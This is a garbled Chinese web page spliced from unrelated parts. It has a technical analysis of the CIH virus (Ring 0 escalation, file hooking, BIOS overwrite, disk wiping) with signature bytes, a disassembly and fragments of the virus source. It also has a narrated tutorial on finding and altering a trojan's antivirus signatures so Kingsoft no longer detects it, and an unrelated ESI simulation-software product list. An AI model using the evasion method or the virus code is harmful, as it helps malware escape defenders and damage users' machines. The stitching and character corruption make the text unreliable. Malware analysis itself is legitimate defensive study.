第一节 特点
病毒绕过了微软提供的应用程序界面,绕过了ActiveX、C++甚至C,使用汇编,
利用VxD(虚拟设备驱动程序)接口编程,直接杀入Windows内核。它没有改变宿主文件
的大小,而是采用了一种新的文件感染机制即碎洞攻击(fragmented cavity attack),
将病毒化整为零,拆分成若干块,插入宿主文件中去;最引人注目的是它利用目前许多
BIOS芯片开放了可重写的特性,向计算机主板的BIOS端口写入乱码,开创了病毒直接进
攻计算机主板芯片的先例。可以说CIH病毒提供了一种全新的病毒程序方式和病毒发展方向。
第二节 CIH病毒的初始化
1.用SIDT指令取得IDT base address(中断描述符表基地址),然后把IDT的INT 3 的入口地址改为指向CIH自己的INT3程序入口部分;
2.执行INT 3指令,进入CIH自身的INT 3入口程序,这样,CIH病毒就可以获得Windows最高级别的权限(Ring 0级),可在Windows的内核执行各种 *** 作(如终止系统运行,直接对内存读写、截获各种中断、控制I/O端口等,这些 *** 作在应用程序层Ring 3级是受到严格
限制的)。病毒在这段程序中首先检查调试寄存器DR0的值是否为0,用以判断先前是否有CIH病毒已经驻留。
3.如果DR0的值不为0,则表示CIH病毒程式已驻留,病毒程序恢复原先的INT 3入口,然后正常退出INT3,跳到过程9;
4.如果DR0值为0,则CIH病毒将尝试进行驻留。首先将当前EBX寄存器的值赋给DR0寄存器,以生成驻留标记,然后调用INT 20中断,使用VxD call Page Allocate系统调用,请求系统分配2个PAGE大小的Windows系统内存(system memory),Windows系统内存地址范围为C0000000h~FFFFFFFFh,它是用来存放所有的虚拟驱动程序的内存区域,如果程序想长期驻留在内存中,则必须申请到此区段内的内存。
5.如果内存申请成功,则从被感染文件中将原先分成多块的病毒代码收集起来,并进行组合后放到申请到的内存空间中
6.再次调用INT 3中断进入CIH病毒体的INT 3入口程序,调用INT20来完成调用一个IFSMgr_InstallFileSystemApiHook的子程序,在Windows内核中文件系统处理函数中挂接钩子,以截取文件调用的 *** 作,这样一旦系统出现要求开启文件的调用,则CIH病毒的传染部分程序就会在第一时间截获此文件;
7.将同时获取的Windows默认的IFSMgr_Ring0_FileIO(核心文件输入/输出)服务程序的入口地址保留在DR0寄存器中,以便于CIH病毒调用;
8.恢复原先的IDT中断表中的INT 3入口,退出INT 3;
9.根据病毒程序内隐藏的原文件的正常入口地址,跳到原文件正常入口,执行正常
第三节 病毒发作条件判断
在CIHv1.4中,病毒的发作日期是4月26日,病毒从COMS的70、71端口取出系统当前日期,对其进行判断:
MOV AX,0708
OUT 70,AL
IN AL,71 取当前系统月份->AL
XCHG AL,AH
OUT 70,AL
IN AL,71 取当前系统日->AL
XOR AX,0426 是否为4月26日
JZ 病毒发作程序
之所以不采用这段代码做特征码,是为防止正常程序使用,或者易于发作条件修改。
第四节 病毒的破坏
1.通过主板的BIOS端口地址0CFEH和0CFDH向BIOS引导块(boot block)内各写入一个字节的乱码,造成主机无法启动。
随着闪清链仔存(FlashMemory)价格的下跌,奔腾机唤碧器上BIOS普遍采用PROM(可编程只读存储器),它可以在12伏以下的电压下利用软件的方式,从BIOS端口中读出和写入数据,以便于进行程序的升级。CIH病毒正是利用闪存的这一特性,往BIOS里写入乱码,造成BIOS中的原内容被会彻底破坏,主机无法启动。
所幸的是,CIH只能对少数类型的主板BIOS构成威胁。这是因为,BIOS的软件更新是通过直接写端口实现的,而不同答汪主
板的BIOS端口地址各不相同。现在出现的CIH只有1K,程序量太小,还不可能存储大量的主板和BIOS端口数据。它只对
端口地址为0CFEH和0CFD的BIOS(据有关资料为Intel 430TX chipset、部分Pentium chipsets)进行攻击
2.覆盖硬盘
通过调用Vxd call IOS_SendCommand直接对硬盘进行存取,将垃圾代码以2048个扇区为单位,从硬盘主引导区开始依
次循环写入硬盘,直到所有硬盘(含逻辑盘)的数据均被破坏为止。
特征码:
55 8D 44 24 F8 33 DB 64 87 03 E8 00 00 00 00 5B 8D
4B 42 51 50 50 0F 01 4C 24 FE 5B 83 C3 1C FA 8B 2B
66 8B 6B FC 8D 71 12 56 66 89 73 FC C1 EE 10 66 89
73 02 5E CC 56 8B F0 8B 48 FC F3 A4 83
偏移位置:0x240
特码长度:0x40
反汇编代码:
00400240 >55 PUSH EBP
00400241 8D4424 F8LEA EAX,DWORD PTR SS:[ESP-8]
00400245 33DB XOR EBX,EBX
00400247 64:8703 XCHG DWORD PTR FS:[EBX],EAX
0040024A E8 00000000 CALL Win95_ci.0040024F
0040024F 5B POP EBX
00400250 8D4B 42 LEA ECX,DWORD PTR DS:[EBX+42]
00400253 51 PUSH ECX
00400254 50 PUSH EAX
00400255 50 PUSH EAX
00400256 0F014C24 FE SIDT FWORD PTR SS:[ESP-2] 用SIDT指令取得IDT base address(中断描述符表基地址),
然后把IDT的INT 3 的入口地址改为指向CIH自己的INT3程序入口部分;
0040025B 5B POP EBX
0040025C 83C3 1C ADD EBX,1C
0040025F FA CLI
00400260 8B2B MOV EBP,DWORD PTR DS:[EBX]
00400262 66:8B6B FC MOV BP,WORD PTR DS:[EBX-4]
00400266 8D71 12 LEA ESI,DWORD PTR DS:[ECX+12]
00400269 56 PUSH ESI
0040026A 66:8973 FC MOV WORD PTR DS:[EBX-4],SI
0040026E C1EE 10 SHR ESI,10
00400271 66:8973 02 MOV WORD PTR DS:[EBX+2],SI
00400275 5E POP ESI
00400276 CC INT3 执行INT 3指令,进入CIH自身的INT 3入口程序,获得权限(Ring 0级),
00400277 56 PUSH ESI
00400278 8BF0 MOV ESI,EAX
0040027A 8B48 FC MOV ECX,DWORD PTR DS:[EAX-4]
0040027D F3:A4REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0040027F 83E8 08 SUB EAX,8
与1.3版本匹配,源病毒初始代码如下:
MyVirusStart:
pushebp
*************************************
* Let's Modify Structured Exception *
* Handing, Prevent Exception Error *
* Occurrence, Especially in NT. *
*************************************
lea eax, [esp-04h*2]
xor ebx, ebx
xchgeax, fs:[ebx]
call@0
@0:
pop ebx
lea ecx, StopToRunVirusCode-@0[ebx]
pushecx
pusheax
*************************************
* Let's Modify *
*************************************
pop esi
*************************************
* Generate Exception to Get Ring0 *
*************************************
int HookExceptionNumber GenerateException
ReturnAddressOfEndException = $
*************************************
* Merge All Virus Code Section *
*************************************
pushesi
mov esi, eax
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]
rep movsb
sub eax, 08h
*************************************
* Generate Exception Again *
*************************************
*************************************
* Let's Restore *
* Structured Exception Handing *
*************************************
*************************************
* When Exception Error Occurs, *
* Our OS System should be in NT.*
* So My Cute Virus will not *
* Continue to Run, it Jmups to *
* Original Application to Run. *
*************************************
StopToRunVirusCode:
@1 = StopToRunVirusCode
*************************************
* Return Original App to Execute*
*************************************
文档:
http://www.yuanmawang.com/Download.asp?ID=5543&sID=1
音频:
http://download1.77169.com/donghua/other/12-11.zip
今天讲一下怎么改病毒的特征码,让它不被杀毒软件杀掉,就拿hgzvip1.2没有配置的服务端为例子
现在能被金山认识出来!
一般从程序的入口开始找特征码
4bdf68是内存的虚拟地址
bd368就是文件的相对偏移地址
现在查不出了,就说明特征码就在刚在的那一片
刚才我们填充的是120,现在就取它的一半90
范围更小了
再取90的一半
哈,范围更小了
再取48的一半
运气真好,就是这一段了,我们可以把范围更精确一点
有毒,说明不是这一段,go on,go on,go on,
查不到了,就说明是从bd376这里左右开始的
反编译原来的文件看一下,搞错了,应该用原来的文件
我们就从这里改,先看懂这里程序的意思
xor eax,eax 是把eax清为0
那么后面的两句程序的意思也是把内存地址清0,就是这两句。
我们把它的先后顺序换一下就可以了,这两句就ec和e8不同,我们换一下它们的先后顺序。
对应的文件就是这里,查一下还会不会被金山认出,哈哈,它不认识了!
但是还会被kv认出,所以我们得继续,把kv识别的特征也得改了,
方法和这里是一样的,我就不继续了。
关键点在于找到特征码之后,不能乱改,一定要把程序的意思看懂了,不然程序可能出错的。
ESI集团提供的仿真解决方案包括三大类:--VPS(Virtual Performance Solution)虚拟性能产品系
--VM(Virtual Manufacture)虚拟制造产品系
--VE(Visual-Environment)虚拟环境产品系
此外,ESI产品线还包括:
--基于项目管理的流程开发协同平台
--虚拟现实解决方案IC.IDO
同时,ESI中国还在集团产品和自有工程技术能力的基础上开发出乎芦:
--平台系统级产品系
VPS(Virtual Performance Solution)虚拟性能产品系 PAM-CRASH 世界最广泛采用的碰撞、冲击模拟软件。广泛用于鸟撞、爆炸、汽车碰撞、穿甲、跌落等破坏的仿真 PAM-SHOCK HVI 超高速冲击、爆炸、撞击、破坏力学分析 PAM-SAFE 交通工具乘员安全性仿真,包括气囊、安全带和假人模型 PAM-COMFORT 座椅虚拟舒适性设计、制造仿真方案 VA ONE 全频振动噪声解决方案,包括有限元、边界元、统计能量分析(SEA)及耦合的分析技术,能够处理所有频率范围的振动噪声问题 RA YON 低频噪声预测、分析和设计工具。基于有限元、边界元方法 FOAM-X 泡沫和纤维材料声学属性验证,将试验数据转化为侍顷芹软件输入参数 NOVA 多层材料声学仿真和设计,预测声学材料的吸收 SYSTUS 机械、电工学和传热高级分析通用模拟软件,主要用于核电领域,有RCCM规范。可用于静力学、动力学(地震等)、非线性分析 PAM-MEDYSA 2G 复杂机械系统的设计优化和性能验证,三维密封分析 VM(Virtual Manufacture)虚拟制造产品系
复合材料 QuikFORM 铺层设计仿真工具 PAM-FORM 复合材料及塑料压力及热成形仿真 PAM-RTM 模拟通过纤维强化树脂注射制造过程的模拟,称为RTM(树脂传递成型) SYSPLY 复合材料力学分析专用软件,包括静力学、动力学、非线性分析 PAM-AUTOCLAVE 热压罐工艺仿真工具 PAM-CRASH 复合材料破坏力学仿真工具 PAM-OPT 与上述工具构成复合材料的多学科优化方案 金属工艺 ProCAST 仿真能力最强的专业铸造及连铸仿真软件。模拟从砂型铸造、金属型铸造、离心铸造、压力铸造、熔模铸造、连铸等几乎所有铸造工艺。能够仿真缺陷形成、微观组织、缩孔缩松等。评价铸件铸造质量 Calcosoft 连铸工艺仿真软件,现已经集成到ProCAST中 PAM-QUIKCAST 对老毕铸造厂完整的解决方案,包括模具填注、凝固、相变和冷却,求解快速,工艺评估工具,与ProCAST相比定位低端应用 PAM-STAMP 2G 最完整的钣金成型仿真软件。包括模具设计、快速成型、精确成型于一体的顶级钣金仿真解决方案。具有强大的回d及变形补偿分析功能 PAM-TUBE 2G 专业的弯管成型仿真工艺,这是一种特殊的钣金工艺。主要用于发动机管路等 SYSWELD 世界最著名的热处理、焊接模拟软件 PAM-ASSEMBLY 焊接装配模拟软件 VE(Visual-Environment)虚拟环境产品系 CFD-FASTRAN 领先的气动和气体热力学应用商业软件。专门用于支持航空航天工业。具有最先进的多体移动功能来模拟复杂航空航天问题包括导d发射、机动和分离及飞机飞行动力学及投掷分离 CFD-TOPO 预测半导体材料在微尺度的输送、化学、蚀刻和淀积。能够预测电子设备多种材料在热或等离子增强情况下制造的三维拓扑演变 CFD-ACE+ 集流动、电磁、传热、结构、化学分析及耦合于一身的强耦合多物理场软件 CFD-CADalyzer 快速流动热分析工具,给设计工程师准备的热设计工具,简单易用,求解速度快,与CAD直接关联集成 PAM-CEM 模拟电磁干扰的高级三维模拟软件 CRIPTE 独特的电磁线缆导线干扰模拟工具。由ONERA工程师设计现由ESI集团销售,CRIPTE用于汽车、飞机和地铁系统 SYSMAGNA 静电、电动、静磁、动磁和电磁应用分析软件。低频电磁模拟 EFIELD 为3D电磁应用提供完整的虚拟解决方案 基于项目管理的流程开发协同平台 Vdot 一个集成的项目规划、执行和管理平台 Visual DSS CAE端对端决策支持系统 Visual-Process Executive 过程客户化及重复任务管理应用 Visual-Mesh CAD清除,网格生成和网格编辑的直观环境 Visual-Viewer 图示和动画应用的统一后处理器 Visual-Crash for PAM(VCP) PAM-CRASH求解器的前处理器 Visual-Crash for DYNA 为LS-DYNA求解器准备的强大环境 Visual-SEAL 快速密封剖面设计完整方案 虚拟现实解决方案 IC.IDO 虚拟现实解决方案及可视化设计制造决策平台。提供3D沉浸式数字化虚拟样机,快速实现从与模型的实时交互,确保产品设计理解的准确传递,保证产品的功能性与可制造性、可维修性、可维护性相协调 ESI中国平台系统级产品 钣金系统 钣金工艺专用系统,涵盖橡皮囊、蒙皮拉形、型材拉弯、热成形、超塑成形、弯管成形、导管内高压、旋压成形等八大专门钣金工艺。适用于航空、航天等专业钣金应用 复合材料系统 航空复合材料专用系统,涵盖铺层设计、RTM工艺、热压罐工艺、压力成型、力学性能分析、破坏性能分析、优化于一体
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)